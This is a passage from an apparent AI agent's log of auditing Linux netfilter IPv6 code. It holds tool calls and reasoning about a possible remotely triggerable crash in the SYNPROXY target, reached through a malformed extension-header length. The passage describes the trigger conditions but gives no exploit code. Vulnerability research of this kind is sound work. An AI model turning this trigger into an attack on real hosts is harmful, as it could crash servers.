But wait, could this be triggered remotely? That's the crucial question. If a remote attacker could send a maliciously crafted IPv6 packet to a host with a `SYNPROXY` rule, would it hit the vulnerability? Yes, it looks like it could. If the target has a `SYNPROXY` rule configured for IPv6 TCP traffic, a remote attacker sending an IPv6 packet with a malformed extension header (specifically, a large length field) followed by a TCP header would cause the packet to be processed by `ip6t_do_table`, hit the rule, and then call `synproxy_tg6`. The vulnerable `nf_ip6_checksum` would then be called, and the `BUG_ON` would be triggered. So, a remote trigger is possible as long as the host has a `SYNPROXY` rule configured for IPv6.
Now, let's explore if this is limited to hosts with SYNPROXY. Is there any possibility of exploitation without SYNPROXY in place? My next step is to examine other targets or matches that might call `nf_ip6_checksum` or `skb_checksum` using `par->thoff`. I need to broaden my scope to understand the full attack surface.
|
| 37/2 |
2026/09/23 03:26 |
tool |
grepper |
0m
Args: map[Expression:nf_ip6_checksum PathPrefix:net/ipv6/netfilter/]
Results: map[Output:net/ipv6/netfilter/ip6t_SYNPROXY.c=13=synproxy_tg6(struct sk_buff *skb, const struct xt_action_param *par)
--
net/ipv6/netfilter/ip6t_SYNPROXY.c-20-
net/ipv6/netfilter/ip6t_SYNPROXY.c:21: if (nf_ip6_checksum(skb, xt_hooknum(par), par->thoff, IPPROTO_TCP))
net/ipv6/netfilter/ip6t_SYNPROXY.c-22- return NF_DROP;
--
net/ipv6/netfilter/nf_reject_ipv6.c=29=static bool nf_reject_v6_csum_ok(struct sk_buff *skb, int hook)
--
net/ipv6/netfilter/nf_reject_ipv6.c-50-
net/ipv6/netfilter/nf_reject_ipv6.c:51: return nf_ip6_checksum(skb, hook, thoff, proto) == 0;
net/ipv6/netfilter/nf_reject_ipv6.c-52-}
--
net/ipv6/netfilter/nf_reject_ipv6.c=194=nf_reject_ip6_tcphdr_get(struct sk_buff *oldskb,
--
net/ipv6/netfilter/nf_reject_ipv6.c-232- /* Check checksum. */
net/ipv6/netfilter/nf_reject_ipv6.c:233: if (nf_ip6_checksum(oldskb, hook, tcphoff, IPPROTO_TCP)) {
net/ipv6/netfilter/nf_reject_ipv6.c-234- pr_debug("TCP checksum is invalid\n");
--
net/ipv6/netfilter/nf_reject_ipv6.c=416=static bool reject6_csum_ok(struct sk_buff *skb, int hook)
--
net/ipv6/netfilter/nf_reject_ipv6.c-434-
net/ipv6/netfilter/nf_reject_ipv6.c:435: return nf_ip6_checksum(skb, hook, thoff, proto) == 0;
net/ipv6/netfilter/nf_reject_ipv6.c-436-}
]
|
| 38/2 |
2026/09/23 03:26 |
llm |
expert |
0m
Model:
Tokens:
input: 50146
output: 44
thoughts: 72
Thoughts: Here's my summary, as though I'm thinking through this process:
**Diving into IPv6 Reject Handling**
Okay, so I'm digging into this IPv6 rejection path, and I've just realized something important: `nf_reject_ipv6.c` *also* utilizes `nf_ip6_checksum`, and it appears to pass `thoff` (or, in some cases, `tcphoff`) as an argument. Thatβs a key piece of the puzzle. Now I need to understand *how* it's utilizing it, so I should examine `nf_reject_ip6_tcphdr_get` within `net/ipv6/netfilter/nf_reject_ipv6.c`. Let's see what's going on there. I need to figure out what it's *doing* with that offset.
|
| 39/2 |
2026/09/23 03:26 |
tool |
read-file |
0m
Args: map[File:net/ipv6/netfilter/nf_reject_ipv6.c FirstLine:194 LineCount:50]
Results: map[Contents: 194: nf_reject_ip6_tcphdr_get(struct sk_buff *oldskb,
195: struct tcphdr *otcph,
196: unsigned int *otcplen, int hook)
197: {
198: const struct ipv6hdr *oip6h = ipv6_hdr(oldskb);
199: u8 proto;
200: __be16 frag_off;
201: int tcphoff;
202:
203: proto = oip6h->nexthdr;
204: tcphoff = ipv6_skip_exthdr(oldskb, ((u8 *)(oip6h + 1) - oldskb->data),
205: &proto, &frag_off);
206:
207: if ((tcphoff < 0) || (tcphoff > oldskb->len)) {
208: pr_debug("Cannot get TCP header.\n");
209: return NULL;
210: }
211:
212: *otcplen = oldskb->len - tcphoff;
213:
214: /* IP header checks: fragment, too short. */
215: if (proto != IPPROTO_TCP || *otcplen < sizeof(struct tcphdr)) {
216: pr_debug("proto(%d) != IPPROTO_TCP or too short (len = %d)\n",
217: proto, *otcplen);
218: return NULL;
219: }
220:
221: otcph = skb_header_pointer(oldskb, tcphoff, sizeof(struct tcphdr),
222: otcph);
223: if (otcph == NULL)
224: return NULL;
225:
226: /* No RST for RST. */
227: if (otcph->rst) {
228: pr_debug("RST is set\n");
229: return NULL;
230: }
231:
232: /* Check checksum. */
233: if (nf_ip6_checksum(oldskb, hook, tcphoff, IPPROTO_TCP)) {
234: pr_debug("TCP checksum is invalid\n");
235: return NULL;
236: }
237:
238: return otcph;
239: }
240:
241: static struct ipv6hdr *
242: nf_reject_ip6hdr_put(struct sk_buff *nskb,
243: const struct sk_buff *oldskb,
]
|
| 40/2 |
2026/09/23 03:26 |
llm |
expert |
0m
Model:
Tokens:
input: 51224
output: 43
thoughts: 91
Thoughts: Okay, let me think this through.
**Analyzing TCP Header Retrieval in IPv6 Rejection**
Alright, so I'm looking at this `nf_reject_ip6_tcphdr_get` function. Seems straightforward enough. The code explicitly checks the `tcphoff` variable against the packet length (`oldskb->len`):
```c
if ((tcphoff < 0) || (tcphoff > oldskb->len)) {
pr_debug("Cannot get TCP header.\n");
return NULL;
}
```
That's good. It's explicitly ensuring that we don't try to access TCP header data outside the bounds of the packet buffer. So, memory safety for that particular function is pretty clearly accounted for. No real surprises there.
But, that just brings me to my next question: what about `nf_reject_v6_csum_ok`? I need to check how that handles things, since it's used in conjunction with this. I'll need to dig into that function now to make sure there aren't any potential issues with TCP header checks on the other side.
|
| 41/2 |
2026/09/23 03:26 |
tool |
read-file |
0m
Args: map[File:net/ipv6/netfilter/nf_reject_ipv6.c FirstLine:29 LineCount:30]
Results: map[Contents: 29: static bool nf_reject_v6_csum_ok(struct sk_buff *skb, int hook)
30: {
31: const struct ipv6hdr *ip6h = ipv6_hdr(skb);
32: int thoff;
33: __be16 fo;
34: u8 proto = ip6h->nexthdr;
35:
36: if (skb_csum_unnecessary(skb))
37: return true;
38:
39: if (ip6h->payload_len &&
40: pskb_trim_rcsum(skb, ntohs(ip6h->payload_len) + sizeof(*ip6h)))
41: return false;
42:
43: ip6h = ipv6_hdr(skb);
44: thoff = ipv6_skip_exthdr(skb, ((u8*)(ip6h+1) - skb->data), &proto, &fo);
45: if (thoff < 0 || thoff >= skb->len || (fo & htons(~0x7)) != 0)
46: return false;
47:
48: if (!nf_reject_verify_csum(skb, thoff, proto))
49: return true;
50:
51: return nf_ip6_checksum(skb, hook, thoff, proto) == 0;
52: }
53:
54: static int nf_reject_ip6hdr_validate(struct sk_buff *skb)
55: {
56: struct ipv6hdr *hdr;
57: u32 pkt_len;
58:
]
|
| 42/2 |
2026/09/23 03:27 |
llm |
expert |
0m
Model:
Tokens:
input: 52086
output: 32
thoughts: 81
Thoughts: Okay, let me break this down.
**Analyzing a Potential Bug in the Netfilter Framework**
Right, so I'm looking at this code and it's doing a check, specifically `thoff >= skb->len`. That's the key. This makes me suspect the issue is narrowed down to `synproxy_tg6`, or possibly other targets/matches that, crucially, *don't* validate `acpar.thoff`. Now, I need to remember where `acpar.thoff` comes from. Ah yes, it's set by `ip6_packet_match`. So, itβs not the match itself, but how it's *used*. The question now is: are there any other netfilter targets besides `synproxy_tg6` that make use of `acpar.thoff` in this potentially unsafe way? That's where I need to focus my investigation. That's the next step.
|
| 43/2 |
2026/09/23 03:27 |
tool |
grepper |
0m
Args: map[Expression:par->thoff PathPrefix:net/ipv6/netfilter/]
Results: map[Output:net/ipv6/netfilter/ip6t_SYNPROXY.c=13=synproxy_tg6(struct sk_buff *skb, const struct xt_action_param *par)
--
net/ipv6/netfilter/ip6t_SYNPROXY.c-20-
net/ipv6/netfilter/ip6t_SYNPROXY.c:21: if (nf_ip6_checksum(skb, xt_hooknum(par), par->thoff, IPPROTO_TCP))
net/ipv6/netfilter/ip6t_SYNPROXY.c-22- return NF_DROP;
net/ipv6/netfilter/ip6t_SYNPROXY.c-23-
net/ipv6/netfilter/ip6t_SYNPROXY.c:24: th = skb_header_pointer(skb, par->thoff, sizeof(_th), &_th);
net/ipv6/netfilter/ip6t_SYNPROXY.c-25- if (th == NULL)
--
net/ipv6/netfilter/ip6t_SYNPROXY.c-27-
net/ipv6/netfilter/ip6t_SYNPROXY.c:28: if (!synproxy_parse_options(skb, par->thoff, th, &opts))
net/ipv6/netfilter/ip6t_SYNPROXY.c-29- return NF_DROP;
--
net/ipv6/netfilter/ip6t_mh.c=31=static bool mh_mt6(const struct sk_buff *skb, struct xt_action_param *par)
--
net/ipv6/netfilter/ip6t_mh.c-40-
net/ipv6/netfilter/ip6t_mh.c:41: mh = skb_header_pointer(skb, par->thoff, sizeof(_mh), &_mh);
net/ipv6/netfilter/ip6t_mh.c-42- if (mh == NULL) {
]
|
| 44/2 |
2026/09/23 03:27 |
llm |
expert |
0m
Model:
Tokens:
input: 52890
output: 29
thoughts: 10
Thoughts: Okay, here's my take on those thoughts, tailored for an expert audience:
**Diving into the Kernel's Network Filter**
My initial thought, when considering this problem, is to immediately turn my attention toward the `net/netfilter/` directory within the kernel source. It's the logical starting point for any network-related filtering or manipulation tasks, isn't it? Given the scope of this kind of work, `netfilter` has always been the place to focus. We can dive into the hooking mechanisms, potential existing modules or hooks that are already in place, and what APIs and interactions are available here. This isn't just about finding *a* solution; it's about understanding the existing framework and leveraging what's already there to ensure proper integration and minimize reinventing the wheel. Any gaps or requirements might require new NF hooks, or modifying existing ones, depending on the particular details of what is being attempted. The devil is always in those low level details.
|
| 45/2 |
2026/09/23 03:27 |
tool |
grepper |
0m
Args: map[Expression:par->thoff PathPrefix:net/netfilter/]
Results: map[Output:net/netfilter/nft_compat.c=61=nft_compat_set_par(struct xt_action_param *par,
--
net/netfilter/nft_compat.c-65- par->state = pkt->state;
net/netfilter/nft_compat.c:66: par->thoff = nft_thoff(pkt);
net/netfilter/nft_compat.c-67- par->fragoff = pkt->fragoff;
--
net/netfilter/xt_dccp.c=96=dccp_mt(const struct sk_buff *skb, struct xt_action_param *par)
--
net/netfilter/xt_dccp.c-104-
net/netfilter/xt_dccp.c:105: dh = skb_header_pointer(skb, par->thoff, sizeof(_dh), &_dh);
net/netfilter/xt_dccp.c-106- if (dh == NULL) {
--
net/netfilter/xt_dccp.c-118- XT_DCCP_TYPE, info->flags, info->invflags)
net/netfilter/xt_dccp.c:119: && DCCHECK(match_option(info->option, skb, par->thoff, dh,
net/netfilter/xt_dccp.c-120- &par->hotdrop),
--
net/netfilter/xt_ecn.c=27=static bool match_tcp(const struct sk_buff *skb, struct xt_action_param *par)
--
net/netfilter/xt_ecn.c-39- */
net/netfilter/xt_ecn.c:40: th = skb_header_pointer(skb, par->thoff, sizeof(_tcph), &_tcph);
net/netfilter/xt_ecn.c-41- if (th == NULL)
--
net/netfilter/xt_esp.c=31=static bool esp_mt(const struct sk_buff *skb, struct xt_action_param *par)
--
net/netfilter/xt_esp.c-40-
net/netfilter/xt_esp.c:41: eh = skb_header_pointer(skb, par->thoff, sizeof(_esp), &_esp);
net/netfilter/xt_esp.c-42- if (eh == NULL) {
--
net/netfilter/xt_hashlimit.c=731=hashlimit_mt_common(const struct sk_buff *skb, struct xt_action_param *par,
--
net/netfilter/xt_hashlimit.c-740-
net/netfilter/xt_hashlimit.c:741: if (hashlimit_init_dst(hinfo, &dst, skb, par->thoff) < 0)
net/netfilter/xt_hashlimit.c-742- goto hotdrop;
--
net/netfilter/xt_ipcomp.c=35=static bool comp_mt(const struct sk_buff *skb, struct xt_action_param *par)
--
net/netfilter/xt_ipcomp.c-44-
net/netfilter/xt_ipcomp.c:45: chdr = skb_header_pointer(skb, par->thoff, sizeof(_comphdr), &_comphdr);
net/netfilter/xt_ipcomp.c-46- if (chdr == NULL) {
--
net/netfilter/xt_l2tp.c=170=static bool l2tp_mt4(const struct sk_buff *skb, struct xt_action_param *par)
--
net/netfilter/xt_l2tp.c-177- case IPPROTO_UDP:
net/netfilter/xt_l2tp.c:178: return l2tp_udp_mt(skb, par, par->thoff);
net/netfilter/xt_l2tp.c-179- case IPPROTO_L2TP:
net/netfilter/xt_l2tp.c:180: return l2tp_ip_mt(skb, par, par->thoff);
net/netfilter/xt_l2tp.c-181- }
--
net/netfilter/xt_multiport.c=83=multiport_mt(const struct sk_buff *skb, struct xt_action_param *par)
--
net/netfilter/xt_multiport.c-91-
net/netfilter/xt_multiport.c:92: pptr = skb_header_pointer(skb, par->thoff, sizeof(_ports), _ports);
net/netfilter/xt_multiport.c-93- if (pptr == NULL) {
--
net/netfilter/xt_sctp.c=105=sctp_mt(const struct sk_buff *skb, struct xt_action_param *par)
--
net/netfilter/xt_sctp.c-113-
net/netfilter/xt_sctp.c:114: sh = skb_header_pointer(skb, par->thoff, sizeof(_sh), &_sh);
net/netfilter/xt_sctp.c-115- if (sh == NULL) {
--
net/netfilter/xt_sctp.c-125- XT_SCTP_DEST_PORTS, info->flags, info->invflags) &&
net/netfilter/xt_sctp.c:126: SCCHECK(match_packet(skb, par->thoff + sizeof(_sh),
net/netfilter/xt_sctp.c-127- info, &par->hotdrop),
--
net/netfilter/xt_tcpmss.c=25=tcpmss_mt(const struct sk_buff *skb, struct xt_action_param *par)
--
net/netfilter/xt_tcpmss.c-39- /* If we don't have the whole header, drop packet. */
net/netfilter/xt_tcpmss.c:40: th = skb_header_pointer(skb, par->thoff, sizeof(_tcph), &_tcph);
net/netfilter/xt_tcpmss.c-41- if (th == NULL)
--
net/netfilter/xt_tcpmss.c-52- /* Truncated options. */
net/netfilter/xt_tcpmss.c:53: op = skb_header_pointer(skb, par->thoff + sizeof(*th), optlen, _opt);
net/netfilter/xt_tcpmss.c-54- if (op == NULL)
--
net/netfilter/xt_tcpudp.c=69=static bool tcp_mt(const struct sk_buff *skb, struct xt_action_param *par)
--
net/netfilter/xt_tcpudp.c-87-
net/netfilter/xt_tcpudp.c:88: th = skb_header_pointer(skb, par->thoff, sizeof(_tcph), &_tcph);
net/netfilter/xt_tcpudp.c-89- if (th == NULL) {
--
net/netfilter/xt_tcpudp.c-111- }
net/netfilter/xt_tcpudp.c:112: if (!tcp_find_option(tcpinfo->option, skb, par->thoff,
net/netfilter/xt_tcpudp.c-113- th->doff*4 - sizeof(_tcph),
--
net/netfilter/xt_tcpudp.c=129=static bool udp_mt(const struct sk_buff *skb, struct xt_action_param *par)
--
net/netfilter/xt_tcpudp.c-138-
net/netfilter/xt_tcpudp.c:139: uh = skb_header_pointer(skb, par->thoff, sizeof(_udph), &_udph);
net/netfilter/xt_tcpudp.c-140- if (uh == NULL) {
--
net/netfilter/xt_tcpudp.c=185=icmp_match(const struct sk_buff *skb, struct xt_action_param *par)
--
net/netfilter/xt_tcpudp.c-194-
net/netfilter/xt_tcpudp.c:195: ic = skb_header_pointer(skb, par->thoff, sizeof(_icmph), &_icmph);
net/netfilter/xt_tcpudp.c-196- if (!ic) {
--
net/netfilter/xt_tcpudp.c=212=icmp6_match(const struct sk_buff *skb, struct xt_action_param *par)
--
net/netfilter/xt_tcpudp.c-221-
net/netfilter/xt_tcpudp.c:222: ic = skb_header_pointer(skb, par->thoff, sizeof(_icmph), &_icmph);
net/netfilter/xt_tcpudp.c-223- if (!ic) {
]
|
| 46/2 |
2026/09/23 03:27 |
llm |
expert |
0m
Model:
Tokens:
input: 55415
output: 31
thoughts: 122
Thoughts: **Checksum Calculation Order Concerns**
Okay, so I'm reviewing this code and the checksum calculations are jumping out at me. A lot of the targets seem to be playing it safe, relying on `skb_header_pointer` to handle potential out-of-bounds access by returning `NULL` if `par->thoff` (the transport header offset, I believe) is greater than the packet length `skb->len`. That's the expected behavior, and it's good defensive programming.
But then I see `synproxy_tg6`, and it's calling `nf_ip6_checksum` *before* it calls `skb_header_pointer`. That feels like a potential vulnerability waiting to happen. If `thoff` is bogus, it could lead to reading outside the packet buffer, which is a big no-no. We're potentially exposing ourselves to a buffer overflow, depending on how `nf_ip6_checksum` handles that scenario.
Wait, I need to backtrack. Wasn't there something about `nf_reject_v6_csum_ok`? Yes, that's called in `nf_reject_ipv6.c`. I need to look closer. Okay, it computes `thoff` itself and then checks to see if `thoff` is within the packet bounds. That's good. They're being very careful there, so the same problem doesn't exist.
Alright, so I need to step back and take a breath. I need to make sure I haven't missed anything. Are there *any* other targets or netfilter hooks that call `nf_ip6_checksum` directly? I need to meticulously trace the callsites and verify that all those checksum calculations are happening safely, considering the order of operations and the potential for invalid `thoff` values. This needs a deeper dive to be absolutely certain.
|
| 47/2 |
2026/09/23 03:27 |
tool |
grepper |
0m
Args: map[Expression:nf_ip6_checksum PathPrefix:net/netfilter/]
Results: map[Output:net/netfilter/nf_conntrack_proto_icmpv6.c=184=int nf_conntrack_icmpv6_error(struct nf_conn *tmpl,
--
net/netfilter/nf_conntrack_proto_icmpv6.c-201- state->net->ct.sysctl_checksum &&
net/netfilter/nf_conntrack_proto_icmpv6.c:202: nf_ip6_checksum(skb, state->hook, dataoff, IPPROTO_ICMPV6)) {
net/netfilter/nf_conntrack_proto_icmpv6.c-203- icmpv6_error_log(skb, state, "ICMPv6 checksum failed");
--
net/netfilter/nf_nat_proto.c=815=int nf_nat_icmpv6_reply_translation(struct sk_buff *skb,
--
net/netfilter/nf_nat_proto.c-833- return 0;
net/netfilter/nf_nat_proto.c:834: if (nf_ip6_checksum(skb, hooknum, hdrlen, IPPROTO_ICMPV6))
net/netfilter/nf_nat_proto.c-835- return 0;
--
net/netfilter/utils.c=43=static __sum16 nf_ip_checksum_partial(struct sk_buff *skb, unsigned int hook,
--
net/netfilter/utils.c-63-
net/netfilter/utils.c:64:__sum16 nf_ip6_checksum(struct sk_buff *skb, unsigned int hook,
net/netfilter/utils.c-65- unsigned int dataoff, u8 protocol)
--
net/netfilter/utils.c-94-}
net/netfilter/utils.c:95:EXPORT_SYMBOL(nf_ip6_checksum);
net/netfilter/utils.c-96-
net/netfilter/utils.c:97:static __sum16 nf_ip6_checksum_partial(struct sk_buff *skb, unsigned int hook,
net/netfilter/utils.c-98- unsigned int dataoff, unsigned int len,
--
net/netfilter/utils.c-107- if (len == skb->len - dataoff)
net/netfilter/utils.c:108: return nf_ip6_checksum(skb, hook, dataoff, protocol);
net/netfilter/utils.c-109- fallthrough;
--
net/netfilter/utils.c=123=__sum16 nf_checksum(struct sk_buff *skb, unsigned int hook,
--
net/netfilter/utils.c-133- case AF_INET6:
net/netfilter/utils.c:134: csum = nf_ip6_checksum(skb, hook, dataoff, protocol);
net/netfilter/utils.c-135- break;
--
net/netfilter/utils.c=142=__sum16 nf_checksum_partial(struct sk_buff *skb, unsigned int hook,
--
net/netfilter/utils.c-153- case AF_INET6:
net/netfilter/utils.c:154: csum = nf_ip6_checksum_partial(skb, hook, dataoff, len,
net/netfilter/utils.c-155- protocol);
]
|
| 48/2 |
2026/09/23 03:27 |
llm |
expert |
0m
Model:
Tokens:
input: 56829
output: 46
thoughts: 41
Thoughts: Here's my analysis of the provided snippet, as if it were my thought process:
**Diving into IPv6 ICMPv6 Error Handling**
Okay, so `nf_conntrack_icmpv6_error` is calling `nf_ip6_checksum`, and it's passing in `dataoff`. My immediate thought is, "Right, `dataoff` is crucial here because we're likely dealing with a fragmented or offset packet." We need to understand *exactly* how `dataoff` is being calculated and passed through. The checksum computation relies on the starting point of the data to be correct, especially in these error scenarios, and given that this involves ICMPv6, the situation becomes even more complex considering potential extension headers and the actual payload. I need to trace this back. Let's dig into the `dataoff` computation within `nf_ip6_checksum` itself. That's where the real magic happens, or where the potential bug lies, if there is one.
|
| 49/2 |
2026/09/23 03:27 |
tool |
read-file |
0m
Args: map[File:net/netfilter/nf_conntrack_proto_icmpv6.c FirstLine:184 LineCount:20]
Results: map[Contents: 184: int nf_conntrack_icmpv6_error(struct nf_conn *tmpl,
185: struct sk_buff *skb,
186: unsigned int dataoff,
187: const struct nf_hook_state *state)
188: {
189: union nf_inet_addr outer_daddr;
190: const struct icmp6hdr *icmp6h;
191: struct icmp6hdr _ih;
192: int type;
193:
194: icmp6h = skb_header_pointer(skb, dataoff, sizeof(_ih), &_ih);
195: if (icmp6h == NULL) {
196: icmpv6_error_log(skb, state, "short packet");
197: return -NF_ACCEPT;
198: }
199:
200: if (state->hook == NF_INET_PRE_ROUTING &&
201: state->net->ct.sysctl_checksum &&
202: nf_ip6_checksum(skb, state->hook, dataoff, IPPROTO_ICMPV6)) {
203: icmpv6_error_log(skb, state, "ICMPv6 checksum failed");
]
|
| 50/2 |
2026/09/23 03:27 |
llm |
expert |
0m
Model:
Tokens:
input: 57495
output: 40
thoughts: 53
Thoughts: Here's my take on the thought process, as requested:
**Assessing Checksum Calculation Integrity**
Okay, so I'm digging into this packet processing flow, specifically around IPv6 checksums. The key thing I'm noticing is the order of operations: we're checking `skb_header_pointer` *before* hitting `nf_ip6_checksum`. This is crucial because it gives me a solid guarantee that the `dataoff` variable is, at maximum, equal to the total length of the SKB (`skb->len`). That's a fundamental safety net; it prevents out-of-bounds reads during the checksum calculation itself. We are confirming that the offset we are using is valid before proceeding.
Now, I'm shifting focus to another component in the NAT process: `nf_nat_icmpv6_reply_translation`. I'm starting to wonder if the same rigorous checks are in place there. Is it as robust in handling packet fragments or manipulations during NAT translation? Need to evaluate that function in relation to this check. I want to make sure no gaps exist in the validation process when the packet's been translated. The underlying logic should be secure.
|
| 51/2 |
2026/09/23 03:27 |
tool |
read-file |
0m
Args: map[File:net/netfilter/nf_nat_proto.c FirstLine:815 LineCount:25]
Results: map[Contents: 815: int nf_nat_icmpv6_reply_translation(struct sk_buff *skb,
816: struct nf_conn *ct,
817: enum ip_conntrack_info ctinfo,
818: unsigned int hooknum,
819: unsigned int hdrlen)
820: {
821: struct {
822: struct icmp6hdr icmp6;
823: struct ipv6hdr ip6;
824: } *inside;
825: enum ip_conntrack_dir dir = CTINFO2DIR(ctinfo);
826: enum nf_nat_manip_type manip = HOOK2MANIP(hooknum);
827: struct nf_conntrack_tuple target;
828: unsigned long statusbit;
829:
830: WARN_ON(ctinfo != IP_CT_RELATED && ctinfo != IP_CT_RELATED_REPLY);
831:
832: if (skb_ensure_writable(skb, hdrlen + sizeof(*inside)))
833: return 0;
834: if (nf_ip6_checksum(skb, hooknum, hdrlen, IPPROTO_ICMPV6))
835: return 0;
836:
837: inside = (void *)skb->data + hdrlen;
838: if (inside->icmp6.icmp6_type == NDISC_REDIRECT) {
839: if ((ct->status & IPS_NAT_DONE_MASK) != IPS_NAT_DONE_MASK)
]
|
| 52/2 |
2026/09/23 03:27 |
llm |
expert |
0m
Model:
Tokens:
input: 58289
output: 28
thoughts: 204
Thoughts: Okay, let me break this down.
**Analyzing the `skb_ensure_writable` Call and Potential Vulnerabilities**
Right, so the code's calling `skb_ensure_writable` with the socket buffer (`skb`) and some calculated length, `hdrlen + sizeof(*inside)`. My initial thought is to trace the execution path and understand how the code handles memory allocation and potential issues there. `skb_ensure_writable` is crucial here. It's supposed to ensure there's enough space in the skb for the operation.
Let's see, `skb_ensure_writable` checks if the current length of the socket buffer (`skb->len`) is *at least* the required size (`hdrlen + sizeof(*inside)`). If it's *not* big enough, it bails out, likely returning an error or even dropping the packet. Okay, that makes sense on the surface. But wait... what's this `skb_ensure_writable` actually doing under the hood? It calls `pskb_may_pull`.
Now, `pskb_may_pull` returns false if the `write_len` (our `hdrlen + sizeof(*inside)`) is *greater* than the current `skb->len`. But if it's returning true, we know `write_len` must be within the bounds. This means `hdrlen` is *guaranteed* to be less than the existing `skb->len`. Good. So the initial thought regarding an obvious memory over-read is incorrect. It's all checking out.
So, in essence, this is a very specific issue. The potential bug is only within the `synproxy_tg6` target and nowhere else. It's not something as widespread as initially suspected. Now I should make sure there aren't other instances of `nf_checksum` or `nf_checksum_partial` being used in similar scenarios, just to make sure there are no other similar risks out there. Time to dig!
|
| 53/2 |
2026/09/23 03:27 |
tool |
grepper |
0m
Args: map[Expression:nf_checksum PathPrefix:net/netfilter/]
Results: map[Output:net/netfilter/nf_conntrack_proto_tcp.c=840=static bool tcp_error(const struct tcphdr *th,
--
net/netfilter/nf_conntrack_proto_tcp.c-860- state->hook == NF_INET_PRE_ROUTING &&
net/netfilter/nf_conntrack_proto_tcp.c:861: nf_checksum(skb, state->hook, dataoff, IPPROTO_TCP, state->pf)) {
net/netfilter/nf_conntrack_proto_tcp.c-862- tcp_error_log(skb, state, "bad checksum");
--
net/netfilter/nf_conntrack_proto_udp.c=56=static bool udp_error(struct sk_buff *skb,
--
net/netfilter/nf_conntrack_proto_udp.c-85- state->net->ct.sysctl_checksum &&
net/netfilter/nf_conntrack_proto_udp.c:86: nf_checksum(skb, state->hook, dataoff, IPPROTO_UDP, state->pf)) {
net/netfilter/nf_conntrack_proto_udp.c-87- udp_error_log(skb, state, "bad checksum");
--
net/netfilter/utils.c=97=static __sum16 nf_ip6_checksum_partial(struct sk_buff *skb, unsigned int hook,
--
net/netfilter/utils.c-122-
net/netfilter/utils.c:123:__sum16 nf_checksum(struct sk_buff *skb, unsigned int hook,
net/netfilter/utils.c-124- unsigned int dataoff, u8 protocol,
--
net/netfilter/utils.c-139-}
net/netfilter/utils.c:140:EXPORT_SYMBOL_GPL(nf_checksum);
net/netfilter/utils.c-141-
net/netfilter/utils.c:142:__sum16 nf_checksum_partial(struct sk_buff *skb, unsigned int hook,
net/netfilter/utils.c-143- unsigned int dataoff, unsigned int len,
--
net/netfilter/utils.c-160-}
net/netfilter/utils.c:161:EXPORT_SYMBOL_GPL(nf_checksum_partial);
net/netfilter/utils.c-162-
]
|
| 54/2 |
2026/09/23 03:27 |
llm |
expert |
0m
Model:
Tokens:
input: 59572
output: 44
thoughts: 14
Thoughts: Okay, here's my interpretation of those thoughts, tailored for an expert audience, presented in the first person:
**Deep Dive into TCP Connection Tracking in the Linux Kernel**
Alright, I'm thinking about the guts of the TCP connection tracking module, specifically digging into `nf_conntrack_proto_tcp.c`. This is where the magic really happens, where the kernel figures out how to track and manage TCP connections as they flow through the network stack. I'm focusing on the intricacies of the TCP protocol state machine within the connection tracking framework.
I'm mentally stepping through how the code handles the various TCP flags β SYN, ACK, FIN, RST β and how it transitions the connection through its different states: NEW, ESTABLISHED, CLOSE_WAIT, TIME_WAIT, etc. I'm considering the potential race conditions that can occur when dealing with concurrent connections and the importance of things like sequence numbers and acknowledgements in maintaining connection integrity. I need to be sure the tracking logic correctly handles retransmissions, out-of-order packets, and other TCP nuances to ensure that the firewall (or whatever other connection tracking uses) has an accurate view of connection states.
I'm thinking about how the connection tracking module handles TCP options and the potential security implications. Things like timestamp options, window scaling, and selective acknowledgements all add complexity and can sometimes be exploited if not handled properly. I'm reviewing the code for any potential vulnerabilities, looking for ways an attacker might try to bypass the connection tracking or cause denial-of-service by sending crafted packets.
I'm also considering the performance implications. TCP connection tracking needs to be fast. I'm thinking about how the data structures are organized, how quickly lookups are performed, and what optimizations are in place to minimize the overhead on the system. Any bottlenecks here, and the entire system suffers.
Finally, I'm thinking about how the conntrack module interacts with other parts of the kernel. How does it work with iptables, netfilter, and the NAT modules? I'm checking the integration points and verifying that everything functions properly together. Are there any inconsistencies in the packet processing paths? Are the error handling and debugging mechanisms adequate? The devil's in the details, as always.
|
| 55/2 |
2026/09/23 03:28 |
tool |
read-file |
0m
Args: map[File:net/netfilter/nf_conntrack_proto_tcp.c FirstLine:840 LineCount:30]
Results: map[Contents: 840: static bool tcp_error(const struct tcphdr *th,
841: struct sk_buff *skb,
842: unsigned int dataoff,
843: const struct nf_hook_state *state)
844: {
845: unsigned int tcplen = skb->len - dataoff;
846: u8 tcpflags;
847:
848: /* Not whole TCP header or malformed packet */
849: if (th->doff*4 < sizeof(struct tcphdr) || tcplen < th->doff*4) {
850: tcp_error_log(skb, state, "truncated packet");
851: return true;
852: }
853:
854: /* Checksum invalid? Ignore.
855: * We skip checking packets on the outgoing path
856: * because the checksum is assumed to be correct.
857: */
858: /* FIXME: Source route IP option packets --RR */
859: if (state->net->ct.sysctl_checksum &&
860: state->hook == NF_INET_PRE_ROUTING &&
861: nf_checksum(skb, state->hook, dataoff, IPPROTO_TCP, state->pf)) {
862: tcp_error_log(skb, state, "bad checksum");
863: return true;
864: }
865:
866: /* Check TCP flags. */
867: tcpflags = (tcp_flag_byte(th) & ~(TCPHDR_ECE|TCPHDR_CWR|TCPHDR_PSH));
868: if (!tcp_valid_flags[tcpflags]) {
869: tcp_error_log(skb, state, "invalid tcp flag combination");
]
|
| 56/2 |
2026/09/23 03:28 |
llm |
expert |
0m
Model:
Tokens:
input: 60616
output: 62
thoughts: 122
Thoughts: **Analyzing a TCP Length Check**
Okay, let's break this down. My initial observation is this check: `tcplen < th->doff*4`. Seems straightforward enough, but I need to understand the variables involved. Right, `tcplen` is calculated as `skb->len - dataoff`, where `skb->len` represents the total packet length and `dataoff` presumably represents some offset into the packet data.
Aha! Now I see a potential issue. If `dataoff` somehow becomes larger than `skb->len`, then `tcplen` will wrap around, resulting in a *huge* value. But wait, a crucial detail β `tcplen` is an *unsigned int*. That's the key. If `dataoff` is indeed greater than `skb->len`, the subtraction will result in a large, positive `unsigned int` value for `tcplen`. This means that the comparison `tcplen < th->doff*4` could be completely wrong! It might evaluate to *false*, even when it should be true, depending on the other values.
The potential for error is very clear. Now, I need to see how `th` is obtained, because it looks like we might be able to exploit the check with malformed packet input. Where does `th` come from? I need to trace back the code to fully assess the security implications.
|
| 57/2 |
2026/09/23 03:28 |
tool |
codesearch-find-references |
0m
Args: map[ContextFile:net/netfilter/nf_conntrack_proto_tcp.c IncludeSnippetLines:10 Name:tcp_error SourceTreePrefix:net/netfilter/]
